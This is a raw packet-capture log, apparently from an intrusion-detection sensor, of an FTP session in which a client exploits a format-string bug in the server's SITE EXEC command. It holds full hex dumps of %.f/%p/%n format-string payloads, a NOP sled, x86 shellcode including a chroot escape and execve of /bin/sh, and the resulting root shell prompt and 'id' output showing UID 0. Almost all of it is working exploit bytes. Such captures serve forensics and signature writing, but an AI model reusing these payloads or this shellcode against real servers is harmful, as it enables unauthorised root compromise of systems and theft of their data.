25 2E 66 7C 25 70 7C 25 70 7C 25 70 7C 25 70 7C %.f|%p|%p|%p|%p|
25 70 7C 0A %p|.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.859283 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2C3
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12124 IpLen:20
DgmLen:693 DF
***AP*** Seq: 0x4DD75008 Ack:
0xC98755F6 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490911 488868
32 30 30 2D 37 20 41 41 41 41 50 73 50 73 42 41 200-7 AAAAPsPsBA
41 41 50 73 50 73 43 41 41 41 50 73 50 73 44 41 AAPsPsCAAAPsPsDA
41 41 2D 32 2D 32 30 30 30 2D 32 30 30 30 30 30 AA-2-2000-200000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 6E 61 6E 30 000000000000nan0
30 30 30 30 30 30 30 2D 32 30 30 30 30 30 30 30 0000000-20000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 2D 32 2D 32 34 30 6E 61 6E 30 33 34 36 000-2-240nan0346
2D 32 30 30 37 33 34 30 33 38 36 34 34 32 37 32 -200734038644272
34 33 35 30 34 31 31 33 38 32 35 37 38 36 30 37 4350411382578607
34 35 39 33 31 38 36 39 31 37 33 33 33 30 37 32 4593186917333072
38 37 36 39 32 34 39 36 32 33 35 36 38 39 39 37 8769249623568997
39 31 37 32 32 39 33 31 35 36 37 33 30 36 39 39 9172293156730699
34 35 31 31 33 39 33 32 37 32 30 38 37 39 35 38 4511393272087958
34 36 37 39 31 39 32 34 39 39 37 35 38 36 30 32 4679192499758602
36 34 32 32 30 33 38 32 37 35 30 31 39 36 30 37 6422038275019607
30 33 33 35 36 39 35 39 30 30 30 30 32 33 33 32 0335695900002332
37 30 36 36 30 36 31 32 33 33 31 36 34 34 31 35 7066061233164415
38 36 37 37 31 33 32 30 37 36 33 30 37 32 33 30 8677132076307230
36 34 31 33 39 37 33 30 32 38 31 33 32 32 38 37 6413973028132287
37 34 38 34 38 35 33 32 34 30 35 36 33 38 34 37 7484853240563847
32 39 35 32 37 38 32 34 35 30 30 39 37 32 38 34 2952782450097284
37 31 30 34 36 33 32 36 37 37 32 37 36 37 33 31 7104632677276731
39 37 35 34 34 31 33 37 35 39 32 30 36 32 36 32 9754413759206262
36 37 37 32 33 34 35 36 37 38 34 32 30 38 35 34 6772345678420854
34 35 33 36 30 36 30 38 37 35 38 33 35 35 38 34 4536060875835584
31 39 31 38 31 35 37 30 34 36 37 34 36 38 39 32 1918157046746892
34 37 30 35 30 37 35 32 36 37 37 39 33 33 37 31 4705075267793371
37 35 32 30 34 30 32 30 36 32 36 37 39 31 32 37 7520402062679127
34 35 31 34 32 31 31 38 31 37 35 31 33 36 36 30 4514211817513660
39 34 37 30 32 38 36 36 38 35 31 30 32 32 32 31 9470286685102221
36 30 36 32 32 30 37 36 34 30 34 34 32 35 30 33 6062207640442503
37 32 39 34 39 36 38 38 36 33 34 34 39 31 39 31 7294968863449191
32 33 34 34 30 34 33 35 32 7C 30 78 33 37 32 66 234404352|0x372f
36 33 7C 30 78 34 31 34 31 34 31 34 31 7C 30 78 63|0x41414141|0x
37 33 35 30 37 33 35 30 7C 30 78 34 31 34 31 34 73507350|0x41414
31 34 32 7C 30 78 37 33 35 30 37 33 35 30 7C 0D 142|0x73507350|.
0A .
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.889275 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1303 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC98755F6 Ack:
0x4DD75289 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488871 490911
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.889374 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x21D
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12125 IpLen:20
DgmLen:527 DF
***AP*** Seq: 0x4DD75289 Ack:
0xC98755F6 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490915 488871
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
41 41 41 41 50 73 50 73 42 41 41 41 50 73 50 73 AAAAPsPsBAAAPsPs
43 41 41 41 50 73 50 73 44 41 41 41 25 2E 66 25 CAAAPsPsDAAA%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 7C 25 70 7C 25 70 7C 25 70 f%.f%.f|%p|%p|%p
7C 25 70 7C 25 70 7C 27 29 0D 0A |%p|%p|')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.964892 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1304 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC98755F6 Ack:
0x4DD75464 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488873 490915
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.969563 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1305 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC98755F6 Ack:
0x4DD75464 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488873 490915
53 49 54 45 20 45 58 45 43 20 37 20 54 D0 FF FF SITE EXEC 7 T...
BF 50 73 50 73 55 D0 FF FF BF 50 73 50 73 56 D0 .PsPsU....PsPsV.
FF FF BF 50 73 50 73 57 D0 FF FF BF 25 2E 66 25 ...PsPsW....%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 38 30 64 25 6E 25 37 33 f%.f%.f%80d%n%73
64 25 6E 25 33 33 64 25 6E 25 31 39 32 64 25 6E d%n%33d%n%192d%n
90 90 90 90 90 90 90 90 90 90 90 90 90 90 33 DB ..............3.
F7 E3 B0 03 8B CC 68 B2 94 CD 80 FF FF E4 0A ......h........
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.972156 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x424
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12126 IpLen:20
DgmLen:1046 DF
***AP*** Seq: 0x4DD75464 Ack:
0xC98757F5 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490923 488873
32 30 30 2D 37 20 54 D0 FF BF 50 73 50 73 55 D0 200-7 T...PsPsU.
FF BF 50 73 50 73 56 D0 FF BF 50 73 50 73 57 D0 ..PsPsV...PsPsW.
FF BF 2D 32 2D 32 30 30 30 2D 32 30 30 30 30 30 ..-2-2000-200000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 6E 61 6E 30 000000000000nan0
30 30 30 30 30 30 30 2D 32 30 30 30 30 30 30 30 0000000-20000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 2D 32 2D 32 34 30 6E 61 6E 30 33 34 36 000-2-240nan0346
2D 32 30 30 37 33 34 30 33 38 36 34 34 32 37 32 -200734038644272
34 33 35 30 34 31 31 33 38 32 35 37 38 36 30 37 4350411382578607
34 35 39 33 31 38 36 39 31 37 33 33 33 30 37 32 4593186917333072
38 37 36 39 32 34 39 36 32 33 35 36 38 39 39 37 8769249623568997
39 31 37 32 32 39 33 31 35 36 37 33 30 36 39 39 9172293156730699
34 35 31 31 33 39 33 32 37 32 30 38 37 39 35 38 4511393272087958
34 36 37 39 31 39 32 34 39 39 37 35 38 36 30 32 4679192499758602
36 34 32 32 30 33 38 32 37 35 30 31 39 36 30 37 6422038275019607
30 33 33 35 36 39 35 39 30 30 30 30 32 33 33 32 0335695900002332
37 30 36 36 30 36 31 32 33 33 31 36 34 34 31 35 7066061233164415
38 36 37 37 31 33 32 30 37 36 33 30 37 32 33 30 8677132076307230
36 34 31 33 39 37 33 30 32 38 31 33 32 32 38 37 6413973028132287
37 34 38 34 38 35 33 32 34 30 35 36 33 38 34 37 7484853240563847
32 39 35 32 37 38 32 34 35 30 30 39 37 32 38 34 2952782450097284
37 31 30 34 36 33 32 36 37 37 32 37 36 37 33 31 7104632677276731
39 37 35 34 34 31 33 37 35 39 32 30 36 32 36 32 9754413759206262
36 37 37 32 33 34 35 36 37 38 34 32 30 38 35 34 6772345678420854
34 35 33 36 30 36 30 38 37 35 38 33 35 35 38 34 4536060875835584
31 39 31 38 31 35 37 30 34 36 37 34 36 38 39 32 1918157046746892
34 37 30 35 30 37 35 32 36 37 37 39 33 33 37 31 4705075267793371
37 35 32 30 34 30 32 30 36 32 36 37 39 31 32 37 7520402062679127
34 35 31 34 32 31 31 38 31 37 35 31 33 36 36 30 4514211817513660
39 34 37 30 32 38 36 36 38 35 31 30 32 32 32 31 9470286685102221
36 30 36 32 32 30 37 36 34 30 34 34 32 35 30 33 6062207640442503
37 32 39 34 39 36 38 38 36 33 34 34 39 31 39 31 7294968863449191
32 33 34 34 30 34 33 35 32 20 20 20 20 20 20 20 234404352
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 33 36 31 36 36 31 31 20 20 20 20 20 20 20 3616611
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 31 39 33 34 36 35 32 32 19346522
34 30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 40
20 20 20 20 20 20 20 20 20 31 39 33 34 36 35 32 1934652
32 34 30 20 20 20 20 20 20 20 20 20 20 20 20 20 240
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 31 39 33 34 36 35 32 1934652
32 34 30 90 90 90 90 90 90 90 90 90 90 90 90 90 240.............
90 33 DB F7 E3 B0 03 8B CC 68 B2 94 CD 80 FF E4 .3.......h......
0D 0A ..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:36.009624 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1306 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC98757F5 Ack: 0x4DD75846 Win: 0x7C70
TcpLen: 32
TCP Options (3) => NOP NOP TS: 488878 490923
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:37.019659 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0xD7
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1307 IpLen:20
DgmLen:201 DF
***AP*** Seq: 0xC98757F5 Ack:
0x4DD75846 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488976 490923
31 C0 31 DB 31 C9 B0 46 CD 80 31 C0 31 DB 43 89 1.1.1..F..1.1.C.
D9 41 B0 3F CD 80 EB 6B 5E 31 C0 31 C9 8D 5E 01 .A.?...k^1.1..^.
88 46 04 66 B9 FF 01 B0 27 CD 80 31 C0 8D 5E 01 .F.f....'..1..^.
B0 3D CD 80 31 C0 31 DB 8D 5E 08 89 43 02 31 C9 .=..1.1..^..C.1.
FE C9 31 C0 8D 5E 08 B0 0C CD 80 FE C9 75 F3 31 ..1..^.......u.1
C0 88 46 09 8D 5E 08 B0 3D CD 80 FE 0E B0 30 FE ..F..^..=.....0.
C8 88 46 04 31 C0 88 46 07 89 76 08 89 46 0C 89 ..F.1..F..v..F..
F3 8D 4E 08 8D 56 0C B0 0B CD 80 31 C0 31 DB B0 ..N..V.....1.1..
01 CD 80 E8 90 FF FF FF 30 62 69 6E 30 73 68 31 ........0bin0sh1
2E 2E 31 31 0A ..11.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:37.039180 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x42
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12127 IpLen:20
DgmLen:52 DF
***A**** Seq: 0x4DD75846 Ack:
0xC987588A Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 491030 488976
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:37.081836 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x53
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12128 IpLen:20
DgmLen:69 DF
***AP*** Seq: 0x4DD75846 Ack:
0xC987588A Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 491034 488976
5B 52 4F 4F 54 40 53 41 50 48 45 34 20 2F 5D 23 [ROOT@SAPHE4 /]#
20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:37.109322 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1308 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987588A Ack:
0x4DD75857 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488983 491034
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:37.109429 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x53
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12129 IpLen:20
DgmLen:69 DF
***AP*** Seq: 0x4DD75857 Ack: 0xC987588A Win: 0x7C70
TcpLen: 32
TCP Options (3) => NOP NOP TS: 491037 488983
5B 52 4F 4F 54 40 53 41 50 48 45 34 20 2F 5D 23 [ROOT@SAPHE4 /]#
20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:37.119322 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1309 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987588A Ack:
0x4DD75868 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488985 491037
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:39.034703 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x46
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1310 IpLen:20
DgmLen:56 DF
***AP*** Seq: 0xC987588A Ack:
0x4DD75868 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 489177 491037
69 64 3B 0A id;.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:39.049161 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x42
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12130 IpLen:20
DgmLen:52 DF
***A**** Seq: 0x4DD75868 Ack:
0xC987588E Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 491231 489177
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:39.053163 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x77
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12131 IpLen:20
DgmLen:105 DF
***AP*** Seq: 0x4DD75868 Ack:
0xC987588E Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 491231 489177
55 49 44 3D 30 28 52 4F 4F 54 29 20 47 49 44 3D UID=0(ROOT) GID=
30 28 52 4F 4F 54 29 20 45 47 49 44 3D 35 30 28 0(ROOT) EGID=50(
46 54 50 29 20 47 52 4F 55 50 53 3D 35 30 28 46 FTP) GROUPS=50(F
54 50 29 0D 0A TP)..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:39.079103 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1311 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987588E Ack:
0x4DD7589D Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 489180 491231
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:39.079221 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x53
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12132 IpLen:20
DgmLen:69 DF
***AP*** Seq: 0x4DD7589D Ack:
0xC987588E Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 491232 489180
5B 52 4F 4F 54 40 53 41 50 48 45 34 20 2F 5D 23 [ROOT@SAPHE4 /]#
20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:39.179749 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1312 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987588E Ack:
0x4DD758AE Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 489184 491232
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:44.600092 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x45
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1313 IpLen:20
DgmLen:55 DF
***AP*** Seq: 0xC987588E Ack:
0x4DD758AE Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 489726 491232
69 64 0A id.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:44.619304 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x42
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12133 IpLen:20
DgmLen:52 DF
***A**** Seq: 0x4DD758AE Ack:
0xC9875891 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 491788 489726
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:44.621763 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x77
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12134 IpLen:20
DgmLen:105 DF
***AP*** Seq: 0x4DD758AE Ack:
0xC9875891 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 491788 489726
55 49 44 3D 30 28 52 4F 4F 54 29 20 47 49 44 3D UID=0(ROOT) GID=
30 28 52 4F 4F 54 29 20 45 47 49 44 3D 35 30 28 0(ROOT) EGID=50(
46 54 50 29 20 47 52 4F 55 50 53 3D 35 30 28 46 FTP) GROUPS=50(F
54 50 29 0D 0A TP)..